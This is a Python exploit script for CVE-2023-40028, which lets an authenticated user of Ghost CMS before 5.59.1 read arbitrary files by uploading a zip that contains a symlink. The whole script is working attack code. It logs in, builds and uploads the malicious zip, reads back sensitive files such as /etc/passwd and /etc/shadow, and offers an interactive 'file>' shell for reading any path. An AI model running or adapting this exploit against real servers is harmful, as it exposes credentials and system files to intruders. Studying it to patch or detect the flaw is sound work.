#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read # Date: 2023-09-20 # Exploit Author: ibrahimsql (https://github.com/ibrahmsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.59.1 # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur # CVE: CVE-2023-40028 # Category: Web Application Security # CVSS Score: 6.5 (Medium) # Description: # Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users # to upload files that are symlinks. This can be exploited to perform arbitrary file reads # of any file on the host operating system. The vulnerability exists in the file upload # mechanism which improperly validates symlink files, allowing attackers to access files # outside the intended directory structure through symlink traversal. # Requirements: requests>=2.28.1, zipfile, tempfile # Usage Examples: # python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123 # python3 CVE-2023-40028.py https://ghost.example.com user@domain.com mypassword # Interactive Usage: # After running the script, you can use the interactive shell to read files: # file> /etc/passwd # file> /etc/shadow # file> /var/log/ghost/ghost.log # file> exit """ import requests import sys import os import tempfile import zipfile import random import string from typing import Optional class ExploitResult: def __init__(self): self.success = False self.file_content = "" self.status_code = 0 self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read" self.severity = "Medium" class GhostArbitraryFileRead: def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True): self.ghost_url = ghost_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9' }) self.api_url = f"{self.ghost_url}/ghost/api/v3/admin" def authenticate(self) -> bool: """Authenticate with Ghost CMS admin panel""" login_data = { 'username': self.username, 'password': self.password } headers = { 'Origin': self.ghost_url, 'Accept-Version': 'v3.0', 'Content-Type': 'application/json' } try: response = self.session.post( f"{self.api_url}/session/", json=login_data, headers=headers, timeout=10 ) if response.status_code == 201: if self.verbose: print("[+] Successfully authenticated with Ghost CMS") return True else: if self.verbose: print(f"[-] Authentication failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Authentication error: {e}") return False def generate_random_name(self, length: int = 13) -> str: """Generate random string for image name""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def create_exploit_zip(self, target_file: str) -> Optional[str]: """Create exploit zip file with symlink""" try: # Create temporary directory temp_dir = tempfile.mkdtemp() exploit_dir = os.path.join(temp_dir, 'exploit') images_dir = os.path.join(exploit_dir, 'content', 'images', '2024') os.makedirs(images_dir, exist_ok=True) # Generate random image name image_name = f"{self.generate_random_name()}.png" symlink_path = os.path.join(images_dir, image_name) # Create symlink to target file os.symlink(target_file, symlink_path) # Create zip file zip_path = os.path.join(temp_dir, 'exploit.zip') with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(exploit_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) return zip_path, image_name except Exception as e: if self.verbose: print(f"[-] Error creating exploit zip: {e}") return None, None def upload_exploit(self, zip_path: str) -> bool: """Upload exploit zip file to Ghost CMS""" try: headers = { 'X-Ghost-Version': '5.58', 'X-Requested-With': 'XMLHttpRequest', 'Origin': self.ghost_url, 'Referer': f"{self.ghost_url}/ghost/" } with open(zip_path, 'rb') as f: files = { 'importfile': ('exploit.zip', f, 'application/zip') } response = self.session.post( f"{self.api_url}/db", files=files, headers=headers, timeout=30 ) if response.status_code in [200, 201]: if self.verbose: print("[+] Exploit zip uploaded successfully") return True else: if self.verbose: print(f"[-] Upload failed: {response.status_code}") return False except requests.RequestException as e: if self.verbose: print(f"[-] Upload error: {e}") return False def read_file(self, target_file: str) -> ExploitResult: """Read arbitrary file using symlink upload""" result = ExploitResult() if not self.authenticate(): return result if self.verbose: print(f"[*] Attempting to read file: {target_file}") # Create exploit zip zip_path, image_name = self.create_exploit_zip(target_file) if not zip_path: return result try: # Upload exploit if self.upload_exploit(zip_path): # Try to access the symlinked file file_url = f"{self.ghost_url}/content/images/2024/{image_name}" response = self.session.get(file_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: result.success = True result.file_content = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Successfully read file: {target_file}") print(f"[+] File content length: {len(response.text)} bytes") else: if self.verbose: print(f"[-] Failed to read file: {response.status_code}") except Exception as e: if self.verbose: print(f"[-] Error during exploit: {e}") finally: # Cleanup try: if zip_path and os.path.exists(zip_path): os.remove(zip_path) temp_dir = os.path.dirname(zip_path) if zip_path else None if temp_dir and os.path.exists(temp_dir): import shutil shutil.rmtree(temp_dir) except: pass return result def interactive_shell(self): """Interactive shell for file reading""" print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===") print("Enter file paths to read (type 'exit' to quit)") while True: try: file_path = input("file> ").strip() if file_path.lower() == 'exit': print("Bye Bye!") break if not file_path: print("Please enter a file path") continue if ' ' in file_path: print("Please enter full file path without spaces") continue result = self.read_file(file_path) if result.success: print(f"\n--- Content of {file_path} ---") print(result.file_content) print("--- End of file ---\n") else: print(f"Failed to read file: {file_path}") except KeyboardInterrupt: print("\nExiting...") break except Exception as e: print(f"Error: {e}") def main(): if len(sys.argv) != 4: print("Usage: python3 CVE-2023-40028.py ") print("Example: python3 CVE-2023-40028.py http://localhost:2368 admin@example.com password123") return ghost_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True) # Test with common sensitive files test_files = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/proc/version", "/var/log/ghost/ghost.log" ] print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===") print(f"Target: {ghost_url}") print(f"Username: {username}") # Test authentication first if not exploit.authenticate(): print("[-] Authentication failed. Please check credentials.") return print("\n[*] Testing common sensitive files...") for test_file in test_files: result = exploit.read_file(test_file) if result.success: print(f"[+] Successfully read: {test_file}") print(f" Content preview: {result.file_content[:100]}...") else: print(f"[-] Failed to read: {test_file}") # Start interactive shell exploit.interactive_shell() if __name__ == "__main__": main()